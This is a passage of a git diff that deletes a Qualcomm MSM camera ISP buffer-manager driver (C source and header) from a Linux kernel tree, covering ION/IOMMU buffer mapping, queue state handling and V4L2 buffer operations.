= - msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) - return -EINVAL; - memset(bufq, 0, sizeof(struct msm_isp_bufq)); - return 0; -} - -static int msm_isp_prepare_v4l2_buf(struct msm_isp_buf_mgr *buf_mgr, - struct msm_isp_buffer *buf_info, - struct v4l2_buffer *v4l2_buf) -{ - int i, rc = -1; - struct msm_isp_buffer_mapped_info *mapped_info; - struct buffer_cmd *buf_pending = NULL; - - for (i = 0; i < v4l2_buf->length; i++) { - mapped_info = &buf_info->mapped_info[i]; - mapped_info->handle = - ion_import_dma_buf(buf_mgr->client, - v4l2_buf->m.planes[i].m.userptr); - if (IS_ERR_OR_NULL(mapped_info->handle)) { - pr_err("%s: buf has null/error ION handle %p\n", - __func__, mapped_info->handle); - goto ion_map_error; - } - if (ion_map_iommu(buf_mgr->client, mapped_info->handle, - buf_mgr->iommu_domain_num, 0, SZ_4K, - 0, &(mapped_info->paddr), - &(mapped_info->len), 0, 0) < 0) { - rc = -EINVAL; - pr_err("%s: cannot map address", __func__); - ion_free(buf_mgr->client, mapped_info->handle); - goto ion_map_error; - } - mapped_info->paddr += v4l2_buf->m.planes[i].data_offset; - CDBG("%s: plane: %d addr:%lu\n", - __func__, i, mapped_info->paddr); - - buf_pending = kzalloc(sizeof(struct buffer_cmd), GFP_ATOMIC); - if (!buf_pending) { - pr_err("No free memory for buf_pending\n"); - return rc; - } - - buf_pending->mapped_info = mapped_info; - list_add_tail(&buf_pending->list, &buf_mgr->buffer_q); - } - buf_info->num_planes = v4l2_buf->length; - return 0; -ion_map_error: - for (--i; i >= 0; i--) { - mapped_info = &buf_info->mapped_info[i]; - ion_unmap_iommu(buf_mgr->client, mapped_info->handle, - buf_mgr->iommu_domain_num, 0); - ion_free(buf_mgr->client, mapped_info->handle); - } - return rc; -} - -static void msm_isp_unprepare_v4l2_buf( - struct msm_isp_buf_mgr *buf_mgr, - struct msm_isp_buffer *buf_info) -{ - int i; - struct msm_isp_buffer_mapped_info *mapped_info; - struct buffer_cmd *buf_pending = NULL; - - for (i = 0; i < buf_info->num_planes; i++) { - mapped_info = &buf_info->mapped_info[i]; - - list_for_each_entry(buf_pending, &buf_mgr->buffer_q, list) { - if (!buf_pending) - break; - - if (buf_pending->mapped_info == mapped_info) { - ion_unmap_iommu(buf_mgr->client, - mapped_info->handle, - buf_mgr->iommu_domain_num, 0); - ion_free(buf_mgr->client, mapped_info->handle); - - list_del_init(&buf_pending->list); - kfree(buf_pending); - break; - } - } - } - return; -} - -static int msm_isp_buf_prepare(struct msm_isp_buf_mgr *buf_mgr, - struct msm_isp_qbuf_info *info, struct vb2_buffer *vb2_buf) -{ - int rc = -1; - unsigned long flags; - struct msm_isp_bufq *bufq = NULL; - struct msm_isp_buffer *buf_info = NULL; - struct v4l2_buffer *buf = NULL; - struct v4l2_plane *plane = NULL; - - buf_info = msm_isp_get_buf_ptr(buf_mgr, - info->handle, info->buf_idx); - if (!buf_info) { - pr_err("Invalid buffer prepare\n"); - return rc; - } - - bufq = msm_isp_get_bufq(buf_mgr, buf_info->bufq_handle); - if (!bufq) { - pr_err("%s: Invalid bufq\n", __func__); - return rc; - } - - spin_lock_irqsave(&bufq->bufq_lock, flags); - if (buf_info->state == MSM_ISP_BUFFER_STATE_DIVERTED) { - rc = buf_info->state; - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - return rc; - } - - if (buf_info->state != MSM_ISP_BUFFER_STATE_INITIALIZED) { - pr_err("%s: Invalid buffer state: %d\n", - __func__, buf_info->state); - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - return rc; - } - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - - if (vb2_buf) { - buf = &vb2_buf->v4l2_buf; - buf_info->vb2_buf = vb2_buf; - } else { - buf = &info->buffer; - plane = - kzalloc(sizeof(struct v4l2_plane) * buf->length, - GFP_KERNEL); - if (!plane) { - pr_err("%s: Cannot alloc plane: %d\n", - __func__, buf_info->state); - return rc; - } - if (copy_from_user(plane, - (void __user *)(buf->m.planes), - sizeof(struct v4l2_plane) * buf->length)) { - kfree(plane); - return rc; - } - buf->m.planes = plane; - } - - rc = msm_isp_prepare_v4l2_buf(buf_mgr, buf_info, buf); - if (rc < 0) { - pr_err("%s: Prepare buffer error\n", __func__); - kfree(plane); - return rc; - } - spin_lock_irqsave(&bufq->bufq_lock, flags); - buf_info->state = MSM_ISP_BUFFER_STATE_PREPARED; - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - kfree(plane); - return rc; -} - -static int msm_isp_buf_unprepare(struct msm_isp_buf_mgr *buf_mgr, - uint32_t buf_handle) -{ - int rc = -1, i; - struct msm_isp_bufq *bufq = NULL; - struct msm_isp_buffer *buf_info = NULL; - bufq = msm_isp_get_bufq(buf_mgr, buf_handle); - if (!bufq) { - pr_err("%s: Invalid bufq\n", __func__); - return rc; - } - - for (i = 0; i < bufq->num_bufs; i++) { - buf_info = msm_isp_get_buf_ptr(buf_mgr, buf_handle, i); - if (!buf_info) { - pr_err("%s: buf not found\n", __func__); - return rc; - } - if (buf_info->state == MSM_ISP_BUFFER_STATE_UNUSED || - buf_info->state == - MSM_ISP_BUFFER_STATE_INITIALIZED) - continue; - - if (MSM_ISP_BUFFER_SRC_HAL == BUF_SRC(bufq->stream_id)) { - if (buf_info->state == MSM_ISP_BUFFER_STATE_DEQUEUED || - buf_info->state == MSM_ISP_BUFFER_STATE_DIVERTED) - buf_mgr->vb2_ops->put_buf(buf_info->vb2_buf, - bufq->session_id, bufq->stream_id); - } - msm_isp_unprepare_v4l2_buf(buf_mgr, buf_info); - } - return 0; -} - -static int msm_isp_get_buf(struct msm_isp_buf_mgr *buf_mgr, uint32_t id, - uint32_t bufq_handle, struct msm_isp_buffer **buf_info) -{ - int rc = -1; - unsigned long flags; - struct msm_isp_buffer *temp_buf_info; - struct msm_isp_bufq *bufq = NULL; - struct vb2_buffer *vb2_buf = NULL; - struct buffer_cmd *buf_pending = NULL; - struct msm_isp_buffer_mapped_info *mped_info_tmp1; - struct msm_isp_buffer_mapped_info *mped_info_tmp2; - bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) { - pr_err("%s: Invalid bufq\n", __func__); - return rc; - } - if (!bufq->bufq_handle) { - pr_err("%s: Invalid bufq handle\n", __func__); - return rc; - } - - *buf_info = NULL; - spin_lock_irqsave(&bufq->bufq_lock, flags); - if (bufq->buf_type == ISP_SHARE_BUF) { - list_for_each_entry(temp_buf_info, - &bufq->share_head, share_list) { - if (!temp_buf_info->buf_used[id]) { - temp_buf_info->buf_used[id] = 1; - temp_buf_info->buf_get_count++; - if (temp_buf_info->buf_get_count == - bufq->buf_client_count) - list_del_init( - &temp_buf_info->share_list); - if (temp_buf_info->buf_reuse_flag) { - kfree(temp_buf_info); - } else { - *buf_info = temp_buf_info; - rc = 0; - } - spin_unlock_irqrestore( - &bufq->bufq_lock, flags); - return rc; - } - } - } - - switch (BUF_SRC(bufq->stream_id)) { - case MSM_ISP_BUFFER_SRC_NATIVE: - list_for_each_entry(temp_buf_info, &bufq->head, list) { - if (temp_buf_info->state == - MSM_ISP_BUFFER_STATE_QUEUED) { - - list_for_each_entry(buf_pending, - &buf_mgr->buffer_q, list) { - if (!buf_pending) - break; - mped_info_tmp1 = - buf_pending->mapped_info; - mped_info_tmp2 = - &temp_buf_info->mapped_info[0]; - - if (mped_info_tmp1 == mped_info_tmp2 - && (mped_info_tmp1->len == - mped_info_tmp2->len) - && (mped_info_tmp1->paddr == - mped_info_tmp2->paddr)) { - /* found one buf */ - list_del_init( - &temp_buf_info->list); - *buf_info = temp_buf_info; - break; - } - } - break; - } - } - break; - case MSM_ISP_BUFFER_SRC_HAL: - vb2_buf = buf_mgr->vb2_ops->get_buf( - bufq->session_id, bufq->stream_id); - if (vb2_buf) { - if (vb2_buf->v4l2_buf.index < bufq->num_bufs) { - - list_for_each_entry(buf_pending, - &buf_mgr->buffer_q, list) { - if (!buf_pending) - break; - mped_info_tmp1 = - buf_pending->mapped_info; - mped_info_tmp2 = - &bufq->bufs[vb2_buf->v4l2_buf.index] - .mapped_info[0]; - - if (mped_info_tmp1 == mped_info_tmp2 - && (mped_info_tmp1->len == - mped_info_tmp2->len) - && (mped_info_tmp1->paddr == - mped_info_tmp2->paddr)) { - *buf_info = - &bufq->bufs[vb2_buf->v4l2_buf.index]; - (*buf_info)->vb2_buf = vb2_buf; - break; - } - } - } else { - pr_err("%s: Incorrect buf index %d\n", - __func__, vb2_buf->v4l2_buf.index); - rc = -EINVAL; - } - } - break; - case MSM_ISP_BUFFER_SRC_SCRATCH: - /* In scratch buf case we have only on buffer in queue. - * We return every time same buffer. */ - *buf_info = list_entry(bufq->head.next, typeof(**buf_info), - list); - break; - default: - pr_err("%s: Incorrect buf source.\n", __func__); - rc = -EINVAL; - return rc; - } - - if (!(*buf_info)) { - if (bufq->buf_type == ISP_SHARE_BUF) { - temp_buf_info = kzalloc( - sizeof(struct msm_isp_buffer), GFP_ATOMIC); - if (temp_buf_info) { - temp_buf_info->buf_reuse_flag = 1; - temp_buf_info->buf_used[id] = 1; - temp_buf_info->buf_get_count = 1; - list_add_tail(&temp_buf_info->share_list, - &bufq->share_head); - } else - rc = -ENOMEM; - } - } else { - (*buf_info)->state = MSM_ISP_BUFFER_STATE_DEQUEUED; - if (bufq->buf_type == ISP_SHARE_BUF) { - memset((*buf_info)->buf_used, 0, - sizeof(uint8_t) * bufq->buf_client_count); - (*buf_info)->buf_used[id] = 1; - (*buf_info)->buf_get_count = 1; - (*buf_info)->buf_put_count = 0; - (*buf_info)->buf_reuse_flag = 0; - list_add_tail(&(*buf_info)->share_list, - &bufq->share_head); - } - rc = 0; - } - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - return rc; -} - -static int msm_isp_put_buf(struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t buf_index) -{ - int rc = -1; - unsigned long flags; - struct msm_isp_bufq *bufq = NULL; - struct msm_isp_buffer *buf_info = NULL; - - bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) { - pr_err("%s: Invalid bufq\n", __func__); - return rc; - } - - buf_info = msm_isp_get_buf_ptr(buf_mgr, bufq_handle, buf_index); - if (!buf_info) { - pr_err("%s: buf not found\n", __func__); - return rc; - } - - spin_lock_irqsave(&bufq->bufq_lock, flags); - switch (buf_info->state) { - case MSM_ISP_BUFFER_STATE_PREPARED: - if (MSM_ISP_BUFFER_SRC_SCRATCH == BUF_SRC(bufq->stream_id)) - list_add_tail(&buf_info->list, &bufq->head); - case MSM_ISP_BUFFER_STATE_DEQUEUED: - case MSM_ISP_BUFFER_STATE_DIVERTED: - if (MSM_ISP_BUFFER_SRC_NATIVE == BUF_SRC(bufq->stream_id)) - list_add_tail(&buf_info->list, &bufq->head); - else if (MSM_ISP_BUFFER_SRC_HAL == BUF_SRC(bufq->stream_id)) - buf_mgr->vb2_ops->put_buf(buf_info->vb2_buf, - bufq->session_id, bufq->stream_id); - buf_info->state = MSM_ISP_BUFFER_STATE_QUEUED; - rc = 0; - break; - case MSM_ISP_BUFFER_STATE_DISPATCHED: - buf_info->state = MSM_ISP_BUFFER_STATE_QUEUED; - rc = 0; - break; - case MSM_ISP_BUFFER_STATE_QUEUED: - rc = 0; - break; - default: - pr_err("%s: incorrect state = %d", - __func__, buf_info->state); - break; - } - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - - return rc; -} - -static int msm_isp_buf_done(struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t buf_index, - struct timeval *tv, uint32_t frame_id, uint32_t output_format) -{ - int rc = -1; - unsigned long flags; - struct msm_isp_bufq *bufq = NULL; - struct msm_isp_buffer *buf_info = NULL; - enum msm_isp_buffer_state state; - - bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) { - pr_err("Invalid bufq\n"); - return rc; - } - - buf_info = msm_isp_get_buf_ptr(buf_mgr, bufq_handle, buf_index); - if (!buf_info) { - pr_err("%s: buf not found\n", __func__); - return rc; - } - - spin_lock_irqsave(&bufq->bufq_lock, flags); - state = buf_info->state; - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - - if (state == MSM_ISP_BUFFER_STATE_DEQUEUED || - state == MSM_ISP_BUFFER_STATE_DIVERTED) { - spin_lock_irqsave(&bufq->bufq_lock, flags); - if (bufq->buf_type == ISP_SHARE_BUF) { - buf_info->buf_put_count++; - if (buf_info->buf_put_count != ISP_SHARE_BUF_CLIENT) { - rc = buf_info->buf_put_count; - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - return rc; - } - } - buf_info->state = MSM_ISP_BUFFER_STATE_DISPATCHED; - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - if (MSM_ISP_BUFFER_SRC_HAL == BUF_SRC(bufq->stream_id)) { - buf_info->vb2_buf->v4l2_buf.timestamp = *tv; - buf_info->vb2_buf->v4l2_buf.sequence = frame_id; - buf_info->vb2_buf->v4l2_buf.reserved = output_format; - buf_mgr->vb2_ops->buf_done(buf_info->vb2_buf, - bufq->session_id, bufq->stream_id); - } else { - rc = msm_isp_put_buf(buf_mgr, buf_info->bufq_handle, - buf_info->buf_idx); - if (rc < 0) { - pr_err("%s: Buf put failed\n", __func__); - return rc; - } - } - } - - return 0; -} - -static int msm_isp_flush_buf(struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, enum msm_isp_buffer_flush_t flush_type) -{ - int rc = -1, i; - unsigned long flags; - struct msm_isp_bufq *bufq = NULL; - struct msm_isp_buffer *buf_info = NULL; - - bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) { - pr_err("Invalid bufq\n"); - return rc; - } - - for (i = 0; i < bufq->num_bufs; i++) { - buf_info = msm_isp_get_buf_ptr(buf_mgr, bufq_handle, i); - if (!buf_info) { - pr_err("%s: buf not found\n", __func__); - continue; - } - - spin_lock_irqsave(&bufq->bufq_lock, flags); - if (flush_type == MSM_ISP_BUFFER_FLUSH_DIVERTED && - buf_info->state == MSM_ISP_BUFFER_STATE_DIVERTED) { - buf_info->state = MSM_ISP_BUFFER_STATE_QUEUED; - } else if (flush_type == MSM_ISP_BUFFER_FLUSH_ALL && - (buf_info->state == MSM_ISP_BUFFER_STATE_DEQUEUED || - buf_info->state == MSM_ISP_BUFFER_STATE_DIVERTED || - buf_info->state == MSM_ISP_BUFFER_STATE_DISPATCHED)) { - buf_info->state = MSM_ISP_BUFFER_STATE_QUEUED; - } - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - } - return 0; -} - -static int msm_isp_buf_divert(struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t buf_index, - struct timeval *tv, uint32_t frame_id) -{ - int rc = -1; - unsigned long flags; - struct msm_isp_bufq *bufq = NULL; - struct msm_isp_buffer *buf_info = NULL; - - bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) { - pr_err("Invalid bufq\n"); - return rc; - } - - buf_info = msm_isp_get_buf_ptr(buf_mgr, bufq_handle, buf_index); - if (!buf_info) { - pr_err("%s: buf not found\n", __func__); - return rc; - } - - spin_lock_irqsave(&bufq->bufq_lock, flags); - if (bufq->buf_type == ISP_SHARE_BUF) { - buf_info->buf_put_count++; - if (buf_info->buf_put_count != ISP_SHARE_BUF_CLIENT) { - rc = buf_info->buf_put_count; - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - return rc; - } - } - - if (buf_info->state == MSM_ISP_BUFFER_STATE_DEQUEUED) { - buf_info->state = MSM_ISP_BUFFER_STATE_DIVERTED; - buf_info->tv = tv; - buf_info->frame_id = frame_id; - } - spin_unlock_irqrestore(&bufq->bufq_lock, flags); - - return 0; -} - -static int msm_isp_buf_enqueue(struct msm_isp_buf_mgr *buf_mgr, - struct msm_isp_qbuf_info *info) -{ - int rc = -1, buf_state; - struct msm_isp_bufq *bufq = NULL; - struct msm_isp_buffer *buf_info = NULL; - buf_state = msm_isp_buf_prepare(buf_mgr, info, NULL); - if (buf_state < 0) { - pr_err("%s: Buf prepare failed\n", __func__); - return -EINVAL; - } - - if (buf_state == MSM_ISP_BUFFER_STATE_DIVERTED) { - buf_info = msm_isp_get_buf_ptr(buf_mgr, - info->handle, info->buf_idx); - if (!buf_info) { - pr_err("%s: buf not found\n", __func__); - return rc; - } - if (info->dirty_buf) { - rc = msm_isp_put_buf(buf_mgr, - info->handle, info->buf_idx); - } else { - bufq = msm_isp_get_bufq(buf_mgr, info->handle); - if (!bufq) { - pr_err("%s: Invalid bufq\n", __func__); - return rc; - } - if (BUF_SRC(bufq->stream_id)) - pr_err("%s: Invalid native buffer state\n", - __func__); - else - rc = msm_isp_buf_done(buf_mgr, - info->handle, info->buf_idx, - buf_info->tv, buf_info->frame_id, 0); - } - } else { - bufq = msm_isp_get_bufq(buf_mgr, info->handle); - if (!bufq) { - pr_err("%s: Invalid bufq\n", __func__); - return rc; - } - if (MSM_ISP_BUFFER_SRC_HAL != BUF_SRC(bufq->stream_id)) { - rc = msm_isp_put_buf(buf_mgr, - info->handle, info->buf_idx); - if (rc < 0) { - pr_err("%s: Buf put failed\n", __func__); - return rc; - } - } - } - return rc; -} - -static int msm_isp_get_bufq_handle(struct msm_isp_buf_mgr *buf_mgr, - uint32_t session_id, uint32_t stream_id) -{ - int i; - for (i = 0; i < buf_mgr->num_buf_q; i++) { - if (buf_mgr->bufq[i].session_id == session_id && - buf_mgr->bufq[i].stream_id == stream_id) { - return buf_mgr->bufq[i].bufq_handle; - } - } - return 0; -} - -static int msm_isp_get_buf_src(struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t *buf_src) -{ - struct msm_isp_bufq *bufq = NULL; - - bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) { - pr_err("%s: Invalid bufq\n", __func__); - return -EINVAL; - } - *buf_src = BUF_SRC(bufq->stream_id); - - return 0; -} - -static int msm_isp_request_bufq(struct msm_isp_buf_mgr *buf_mgr, - struct msm_isp_buf_request *buf_request) -{ - int rc = -1, i; - struct msm_isp_bufq *bufq = NULL; - CDBG("%s: E\n", __func__); - - if (!buf_request->num_buf || buf_request->num_buf > VIDEO_MAX_FRAME) { - pr_err("Invalid buffer request\n"); - return rc; - } - - buf_request->handle = msm_isp_get_buf_handle(buf_mgr, - buf_request->session_id, buf_request->stream_id); - if (!buf_request->handle) { - pr_err("Invalid buffer handle\n"); - return rc; - } - - bufq = msm_isp_get_bufq(buf_mgr, buf_request->handle); - if (!bufq) { - pr_err("Invalid buffer queue\n"); - return rc; - } - - bufq->bufs = kzalloc(sizeof(struct msm_isp_buffer) * - buf_request->num_buf, GFP_KERNEL); - if (!bufq->bufs) { - pr_err("No free memory for buf info\n"); - msm_isp_free_buf_handle(buf_mgr, buf_request->handle); - return rc; - } - - spin_lock_init(&bufq->bufq_lock); - bufq->bufq_handle = buf_request->handle; - bufq->session_id = buf_request->session_id; - bufq->stream_id = buf_request->stream_id; - bufq->num_bufs = buf_request->num_buf; - bufq->buf_type = buf_request->buf_type; - if (bufq->buf_type == ISP_SHARE_BUF) - bufq->buf_client_count = ISP_SHARE_BUF_CLIENT; - INIT_LIST_HEAD(&bufq->head); - INIT_LIST_HEAD(&bufq->share_head); - for (i = 0; i < buf_request->num_buf; i++) { - bufq->bufs[i].state = MSM_ISP_BUFFER_STATE_INITIALIZED; - bufq->bufs[i].bufq_handle = bufq->bufq_handle; - bufq->bufs[i].buf_idx = i; - } - - return 0; -} - -static int msm_isp_release_bufq(struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle) -{ - struct msm_isp_bufq *bufq = NULL; - int rc = -1; - bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) { - pr_err("Invalid bufq release\n"); - return rc; - } - - msm_isp_buf_unprepare(buf_mgr, bufq_handle); - - kfree(bufq->bufs); - msm_isp_free_buf_handle(buf_mgr, bufq_handle); - return 0; -} - -static void msm_isp_release_all_bufq( - struct msm_isp_buf_mgr *buf_mgr) -{ - struct msm_isp_bufq *bufq = NULL; - int i; - for (i = 0; i < buf_mgr->num_buf_q; i++) { - bufq = &buf_mgr->bufq[i]; - if (!bufq->bufq_handle) - continue; - msm_isp_buf_unprepare(buf_mgr, bufq->bufq_handle); - - kfree(bufq->bufs); - msm_isp_free_buf_handle(buf_mgr, bufq->bufq_handle); - } -} - -static void msm_isp_register_ctx(struct msm_isp_buf_mgr *buf_mgr, - struct device **iommu_ctx, int num_iommu_ctx) -{ - int i; - buf_mgr->num_iommu_ctx = num_iommu_ctx; - for (i = 0; i < num_iommu_ctx; i++) - buf_mgr->iommu_ctx[i] = iommu_ctx[i]; -} - -static int msm_isp_attach_ctx(struct msm_isp_buf_mgr *buf_mgr) -{ - int rc, i; - for (i = 0; i < buf_mgr->num_iommu_ctx; i++) { - rc = iommu_attach_device(buf_mgr->iommu_domain, - buf_mgr->iommu_ctx[i]); - if (rc) { - pr_err("%s: Iommu attach error\n", __func__); - return -EINVAL; - } - } - return 0; -} - -static void msm_isp_detach_ctx(struct msm_isp_buf_mgr *buf_mgr) -{ - int i; - for (i = 0; i < buf_mgr->num_iommu_ctx; i++) - iommu_detach_device(buf_mgr->iommu_domain, - buf_mgr->iommu_ctx[i]); -} - -static int msm_isp_init_isp_buf_mgr( - struct msm_isp_buf_mgr *buf_mgr, - const char *ctx_name, uint16_t num_buf_q) -{ - int rc = -1; - if (buf_mgr->open_count++) - return 0; - - if (!num_buf_q) { - pr_err("Invalid buffer queue number\n"); - return rc; - } - CDBG("%s: E\n", __func__); - - msm_isp_attach_ctx(buf_mgr); - INIT_LIST_HEAD(&buf_mgr->buffer_q); - buf_mgr->num_buf_q = num_buf_q; - buf_mgr->bufq = - kzalloc(sizeof(struct msm_isp_bufq) * num_buf_q, - GFP_KERNEL); - if (!buf_mgr->bufq) { - pr_err("Bufq malloc error\n"); - goto bufq_error; - } - buf_mgr->client = msm_ion_client_create(ctx_name); - buf_mgr->buf_handle_cnt = 0; - return 0; -bufq_error: - return rc; -} - -static int msm_isp_deinit_isp_buf_mgr( - struct msm_isp_buf_mgr *buf_mgr) -{ - if (--buf_mgr->open_count) - return 0; - msm_isp_release_all_bufq(buf_mgr); - ion_client_destroy(buf_mgr->client); - kfree(buf_mgr->bufq); - buf_mgr->num_buf_q = 0; - msm_isp_detach_ctx(buf_mgr); - return 0; -} - -int msm_isp_proc_buf_cmd(struct msm_isp_buf_mgr *buf_mgr, - unsigned int cmd, void *arg) -{ - switch (cmd) { - case VIDIOC_MSM_ISP_REQUEST_BUF: { - struct msm_isp_buf_request *buf_req = arg; - buf_mgr->ops->request_buf(buf_mgr, buf_req); - break; - } - case VIDIOC_MSM_ISP_ENQUEUE_BUF: { - struct msm_isp_qbuf_info *qbuf_info = arg; - buf_mgr->ops->enqueue_buf(buf_mgr, qbuf_info); - break; - } - case VIDIOC_MSM_ISP_RELEASE_BUF: { - struct msm_isp_buf_request *buf_req = arg; - buf_mgr->ops->release_buf(buf_mgr, buf_req->handle); - break; - } - } - return 0; -} - -static struct msm_isp_buf_ops isp_buf_ops = { - .request_buf = msm_isp_request_bufq, - .enqueue_buf = msm_isp_buf_enqueue, - .release_buf = msm_isp_release_bufq, - .get_bufq_handle = msm_isp_get_bufq_handle, - .get_buf_src = msm_isp_get_buf_src, - .get_buf = msm_isp_get_buf, - .put_buf = msm_isp_put_buf, - .flush_buf = msm_isp_flush_buf, - .buf_done = msm_isp_buf_done, - .buf_divert = msm_isp_buf_divert, - .register_ctx = msm_isp_register_ctx, - .buf_mgr_init = msm_isp_init_isp_buf_mgr, - .buf_mgr_deinit = msm_isp_deinit_isp_buf_mgr, -}; - -int msm_isp_create_isp_buf_mgr( - struct msm_isp_buf_mgr *buf_mgr, - struct msm_sd_req_vb2_q *vb2_ops, - struct msm_iova_layout *iova_layout) -{ - int rc = 0; - if (buf_mgr->init_done) - return rc; - - buf_mgr->iommu_domain_num = msm_register_domain(iova_layout); - if (buf_mgr->iommu_domain_num < 0) { - pr_err("%s: Invalid iommu domain number\n", __func__); - rc = -1; - goto iommu_domain_error; - } - - buf_mgr->iommu_domain = msm_get_iommu_domain( - buf_mgr->iommu_domain_num); - if (!buf_mgr->iommu_domain) { - pr_err("%s: Invalid iommu domain\n", __func__); - rc = -1; - goto iommu_domain_error; - } - - buf_mgr->ops = &isp_buf_ops; - buf_mgr->vb2_ops = vb2_ops; - buf_mgr->init_done = 1; - buf_mgr->open_count = 0; - return 0; -iommu_domain_error: - return rc; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.h deleted file mode 100644 index 3160a36a0f921..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.h +++ /dev/null @@ -1,170 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef _MSM_ISP_BUF_H_ -#define _MSM_ISP_BUF_H_ - -#include -#include -#include "msm_sd.h" - -/* Buffer type could be userspace / HAL. - * Userspase could provide native or scratch buffer. */ -#define BUF_SRC(id) ( \ - (id & ISP_SCRATCH_BUF_BIT) ? MSM_ISP_BUFFER_SRC_SCRATCH : \ - (id & ISP_NATIVE_BUF_BIT) ? MSM_ISP_BUFFER_SRC_NATIVE : \ - MSM_ISP_BUFFER_SRC_HAL) - -#define ISP_SHARE_BUF_CLIENT 2 - -struct msm_isp_buf_mgr; - -enum msm_isp_buffer_src_t { - MSM_ISP_BUFFER_SRC_HAL, - MSM_ISP_BUFFER_SRC_NATIVE, - MSM_ISP_BUFFER_SRC_SCRATCH, - MSM_ISP_BUFFER_SRC_MAX, -}; - -enum msm_isp_buffer_state { - MSM_ISP_BUFFER_STATE_UNUSED, /* not used */ - MSM_ISP_BUFFER_STATE_INITIALIZED, /* REQBUF done */ - MSM_ISP_BUFFER_STATE_PREPARED, /* BUF mapped */ - MSM_ISP_BUFFER_STATE_QUEUED, /* buf queued */ - MSM_ISP_BUFFER_STATE_DEQUEUED, /* in use in VFE */ - MSM_ISP_BUFFER_STATE_DIVERTED, /* Sent to other hardware*/ - MSM_ISP_BUFFER_STATE_DISPATCHED, /* Sent to HAL*/ -}; - -enum msm_isp_buffer_flush_t { - MSM_ISP_BUFFER_FLUSH_DIVERTED, - MSM_ISP_BUFFER_FLUSH_ALL, -}; - -struct msm_isp_buffer_mapped_info { - unsigned long len; - dma_addr_t paddr; - struct ion_handle *handle; -}; - -struct buffer_cmd { - struct list_head list; - struct msm_isp_buffer_mapped_info *mapped_info; -}; - -struct msm_isp_buffer { - /*Common Data structure*/ - int num_planes; - struct msm_isp_buffer_mapped_info mapped_info[VIDEO_MAX_PLANES]; - int buf_idx; - uint32_t bufq_handle; - uint32_t frame_id; - struct timeval *tv; - - /*Native buffer*/ - struct list_head list; - enum msm_isp_buffer_state state; - - /*Vb2 buffer data*/ - struct vb2_buffer *vb2_buf; - - /*Share buffer cache state*/ - struct list_head share_list; - uint8_t buf_used[ISP_SHARE_BUF_CLIENT]; - uint8_t buf_get_count; - uint8_t buf_put_count; - uint8_t buf_reuse_flag; -}; - -struct msm_isp_bufq { - uint32_t session_id; - uint32_t stream_id; - uint32_t num_bufs; - uint32_t bufq_handle; - enum msm_isp_buf_type buf_type; - struct msm_isp_buffer *bufs; - spinlock_t bufq_lock; - - /*Native buffer queue*/ - struct list_head head; - /*Share buffer cache queue*/ - struct list_head share_head; - uint8_t buf_client_count; -}; - -struct msm_isp_buf_ops { - int (*request_buf) (struct msm_isp_buf_mgr *buf_mgr, - struct msm_isp_buf_request *buf_request); - - int (*enqueue_buf) (struct msm_isp_buf_mgr *buf_mgr, - struct msm_isp_qbuf_info *info); - - int (*release_buf) (struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle); - - int (*get_bufq_handle) (struct msm_isp_buf_mgr *buf_mgr, - uint32_t session_id, uint32_t stream_id); - - int (*get_buf_src) (struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t *buf_src); - - int (*get_buf) (struct msm_isp_buf_mgr *buf_mgr, uint32_t id, - uint32_t bufq_handle, struct msm_isp_buffer **buf_info); - - int (*put_buf) (struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t buf_index); - - int (*flush_buf) (struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, enum msm_isp_buffer_flush_t flush_type); - - int (*buf_done) (struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t buf_index, - struct timeval *tv, uint32_t frame_id, uint32_t output_format); - int (*buf_divert) (struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t buf_index, - struct timeval *tv, uint32_t frame_id); - void (*register_ctx) (struct msm_isp_buf_mgr *buf_mgr, - struct device **iommu_ctx, int num_iommu_ctx); - int (*buf_mgr_init) (struct msm_isp_buf_mgr *buf_mgr, - const char *ctx_name, uint16_t num_buf_q); - int (*buf_mgr_deinit) (struct msm_isp_buf_mgr *buf_mgr); -}; - -struct msm_isp_buf_mgr { - int init_done; - uint32_t open_count; - spinlock_t lock; - uint16_t num_buf_q; - struct msm_isp_bufq *bufq; - - struct ion_client *client; - struct msm_isp_buf_ops *ops; - uint32_t buf_handle_cnt; - - struct 